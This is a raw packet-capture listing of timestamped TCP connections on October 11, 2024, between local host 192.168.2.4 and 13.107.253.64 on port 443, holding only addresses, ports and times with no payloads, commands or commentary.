Oct 11, 2024 20:30:11.972984076 CEST	59032	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.972984076 CEST	59032	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.973058939 CEST	59032	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.973067045 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.975059986 CEST	59037	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.975102901 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.975261927 CEST	59037	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.975306988 CEST	59037	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.975332975 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.221611023 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.221656084 CEST	443	59029	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.253029108 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.253051996 CEST	443	59030	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.425915003 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.426697969 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.426731110 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.427179098 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.427186012 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.544881105 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.544929981 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.545002937 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.545013905 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.545044899 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.545095921 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.545193911 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.545207977 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.545219898 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.545226097 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.548492908 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.548517942 CEST	443	59038	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:12.548588991 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.548737049 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:12.548762083 CEST	443	59038	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.631845951 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.632360935 CEST	59035	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.632384062 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.632882118 CEST	59035	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.632885933 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.633140087 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.633541107 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.633625984 CEST	59037	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.633713007 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.633902073 CEST	59037	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.633917093 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.633949041 CEST	59034	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.633990049 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.634305000 CEST	59034	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.634311914 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.636965036 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.637366056 CEST	59036	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.637383938 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.637643099 CEST	59036	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.637648106 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.993288040 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.993937969 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.994012117 CEST	59037	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.994069099 CEST	59037	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.994069099 CEST	59037	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.994085073 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.994107008 CEST	443	59037	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.995793104 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.996216059 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.996278048 CEST	59036	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.996515036 CEST	59036	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.996535063 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.996558905 CEST	59036	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.996566057 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.996583939 CEST	59039	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.996608973 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.996670961 CEST	59039	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.996759892 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.996789932 CEST	59039	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.996803999 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.996948957 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.997014046 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.997070074 CEST	59035	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.997210026 CEST	59035	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.997219086 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.997226954 CEST	59035	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.997230053 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.997479916 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.997525930 CEST	59034	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.997564077 CEST	59034	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.997571945 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.997606993 CEST	59034	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.997613907 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.999324083 CEST	59040	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.999341011 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.999397993 CEST	59040	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.999596119 CEST	59040	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.999608040 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.999790907 CEST	59041	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:13.999838114 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:13.999913931 CEST	59041	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.000030041 CEST	59041	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.000062943 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.000257015 CEST	59042	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.000277996 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.000478983 CEST	59042	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.000519037 CEST	59042	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.000530958 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.065483093 CEST	443	59038	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.066029072 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.066112995 CEST	443	59038	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.066536903 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.066553116 CEST	443	59038	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.174376011 CEST	443	59038	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.175060034 CEST	443	59038	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.175234079 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.175234079 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.175234079 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.179095984 CEST	59043	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.179126978 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.179178953 CEST	59043	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.179361105 CEST	59043	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.179374933 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.487927914 CEST	59038	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.488003016 CEST	443	59038	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.649327993 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.650054932 CEST	59042	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.650114059 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.651036024 CEST	59042	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.651051044 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.652467966 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.652635098 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.653053999 CEST	59039	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.653070927 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.653937101 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.653989077 CEST	59039	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.653995037 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.654638052 CEST	59041	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.654655933 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.655541897 CEST	59041	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.655559063 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.656033039 CEST	59040	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.656042099 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.656841993 CEST	59040	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.656847954 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.758574963 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.758761883 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.758830070 CEST	59042	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.759177923 CEST	59042	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.759177923 CEST	59042	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.759212971 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.759237051 CEST	443	59042	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.760368109 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.761015892 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.761070967 CEST	59039	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.762842894 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.762936115 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.762983084 CEST	59041	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.763653040 CEST	59041	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.763669968 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.763695002 CEST	59041	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.763709068 CEST	443	59041	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.766391039 CEST	59039	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.766412973 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.766427040 CEST	59039	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.766434908 CEST	443	59039	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.767972946 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.768057108 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.768096924 CEST	59040	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.769716024 CEST	59040	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.769727945 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.769766092 CEST	59040	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.769773960 CEST	443	59040	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.775738001 CEST	59044	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.775770903 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.775825977 CEST	59044	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.779361010 CEST	59045	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.779402018 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.779462099 CEST	59045	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.780349970 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.780360937 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.780420065 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.782216072 CEST	59047	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.782229900 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.782280922 CEST	59047	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.782623053 CEST	59044	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.782634020 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.782725096 CEST	59047	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.782732964 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.782783985 CEST	59045	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.782798052 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.783071995 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.783087015 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.872750044 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.873471975 CEST	59043	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.873497009 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.874291897 CEST	59043	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.874298096 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.998239994 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.998305082 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.998415947 CEST	59043	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.998855114 CEST	59043	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.998879910 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:14.998915911 CEST	59043	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:14.998924017 CEST	443	59043	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.004159927 CEST	59048	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.004235983 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.004303932 CEST	59048	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.004720926 CEST	59048	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.004757881 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.649547100 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.650671005 CEST	59045	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.650692940 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.651345015 CEST	59045	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.651349068 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.659444094 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.659878969 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.660816908 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.667416096 CEST	59047	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.667433977 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.669277906 CEST	59047	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.669282913 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.674860954 CEST	59044	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.674874067 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.681184053 CEST	59044	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.681193113 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.681217909 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.681225061 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.684482098 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.684487104 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.706907988 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.709276915 CEST	59048	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.709364891 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.715667009 CEST	59048	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.715682030 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.767532110 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.767682076 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.767812014 CEST	59045	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.772384882 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.772583008 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.772716045 CEST	59047	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.785729885 CEST	59045	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.785729885 CEST	59045	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.785737991 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.785746098 CEST	443	59045	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.789825916 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.789900064 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.790020943 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.790378094 CEST	59044	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.790999889 CEST	59044	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.793190956 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.793472052 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.793509960 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.793543100 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.793569088 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.800040007 CEST	59044	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.800059080 CEST	443	59044	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.807372093 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.807377100 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.807502031 CEST	59046	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.807506084 CEST	443	59046	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.810756922 CEST	59047	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.810772896 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.810784101 CEST	59047	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.810791016 CEST	443	59047	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.819298029 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.819380999 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.819510937 CEST	59048	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.821154118 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.821199894 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.821269035 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.821413040 CEST	59050	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.821422100 CEST	443	59050	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.821506023 CEST	59050	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.822529078 CEST	59051	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.822592974 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.822773933 CEST	59051	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.823921919 CEST	59052	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.823946953 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.824089050 CEST	59052	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.824376106 CEST	59052	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.824389935 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.824588060 CEST	59051	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.824616909 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.824754953 CEST	59048	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.824774027 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.824815035 CEST	59048	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.824826956 CEST	443	59048	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.825756073 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.825793028 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.826055050 CEST	59050	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.826070070 CEST	443	59050	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.827939987 CEST	59053	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.827965021 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:15.828259945 CEST	59053	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.828515053 CEST	59053	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:15.828526020 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.496309042 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.497703075 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.497734070 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.498748064 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.498764992 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.503572941 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.504097939 CEST	59052	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.504108906 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.504745960 CEST	443	59050	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.505132914 CEST	59052	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.505140066 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.505942106 CEST	59050	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.505971909 CEST	443	59050	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.506944895 CEST	59050	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.506963015 CEST	443	59050	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.509529114 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.510051012 CEST	59053	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.510078907 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.511001110 CEST	59053	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.511013031 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.518356085 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.518999100 CEST	59051	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.519061089 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.519854069 CEST	59051	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.519870043 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.611938000 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.612009048 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.612087011 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.612119913 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.612169027 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.618310928 CEST	443	59050	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.618391991 CEST	443	59050	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.618448973 CEST	59050	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.624819040 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.625031948 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.625091076 CEST	59053	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.625312090 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.625346899 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.625364065 CEST	59049	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.625371933 CEST	443	59049	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.625569105 CEST	59050	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.625569105 CEST	59050	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.625576973 CEST	443	59050	13.107.253.64	192.168.2.4
